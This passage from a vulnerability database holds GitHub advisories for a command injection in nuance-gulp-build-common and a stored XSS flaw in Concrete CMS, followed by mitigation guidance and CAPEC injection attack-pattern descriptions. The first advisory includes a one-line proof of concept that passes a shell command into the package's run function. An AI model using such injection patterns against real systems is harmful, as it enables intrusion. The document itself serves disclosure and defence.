"nvd_published_at": "2021-02-23T16:15:00Z",
"severity": "CRITICAL"
},
"details": "All versions of package nuance-gulp-build-common are vulnerable to Command Injection via the index.js file.\n\n**PoC:** \n```js\nvar a = require(\"nuance-gulp-build-common\")\na.run(\"touch JHU\")\n```",
"id": "GHSA-8695-fr6h-9fq8",
"modified": "2023-09-11T16:28:40Z",
"published": "2021-04-13T15:19:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28430"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-NUANCEGULPBUILDCOMMON-1050419"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Command Injection in nuance-gulp-build-common",
"withdrawn": "2021-08-30T23:13:49Z"
}
GHSA-8699-H45G-7HM8
Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2025-05-14 19:19Concrete CMS (formerly concrete5) below 8.5.10 and between 9.0.0 and 9.1.2 is vulnerable to Stored Cross-Site Scripting (XSS) in dashboard/system/express/entities/associations because Concrete CMS allows association with an entity name that doesn’t exist or, if it does exist, contains XSS since it was not properly sanitized. Remediate by updating to Concrete CMS 9.1.3+ or 8.5.10+.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "concrete5/concrete5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.5.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "concrete5/concrete5"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-43695"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-06T21:34:29Z",
"nvd_published_at": "2022-11-14T23:15:00Z",
"severity": "MODERATE"
},
"details": "Concrete CMS (formerly concrete5) below 8.5.10 and between 9.0.0 and 9.1.2 is vulnerable to Stored Cross-Site Scripting (XSS) in dashboard/system/express/entities/associations because Concrete CMS allows association with an entity name that doesn\u2019t exist or, if it does exist, contains XSS since it was not properly sanitized. Remediate by updating to Concrete CMS 9.1.3+ or 8.5.10+.",
"id": "GHSA-8699-h45g-7hm8",
"modified": "2025-05-14T19:19:22Z",
"published": "2023-07-06T19:24:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43695"
},
{
"type": "WEB",
"url": "https://documentation.concretecms.org/developers/introduction/version-history/8510-release-notes"
},
{
"type": "WEB",
"url": "https://documentation.concretecms.org/developers/introduction/version-history/913-release-notes"
},
{
"type": "PACKAGE",
"url": "https://github.com/concretecms"
},
{
"type": "WEB",
"url": "https://github.com/concretecms/concretecms/releases/8.5.10"
},
{
"type": "WEB",
"url": "https://github.com/concretecms/concretecms/releases/9.1.3"
},
{
"type": "WEB",
"url": "https://www.concretecms.org/about/project-news/security/concrete-cms-security-advisory-2022-10-31"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Concrete CMS Cross-site Scripting vulnerability"
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation
If possible, ensure that all external commands called from the program are statically created.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
Mitigation
Assign permissions that prevent the user from accessing/opening privileged files.
CAPEC-136: LDAP Injection
An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-183: IMAP/SMTP Command Injection
An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.
CAPEC-248: Command Injection
An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.
CAPEC-40: Manipulating Writeable Terminal Devices
This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.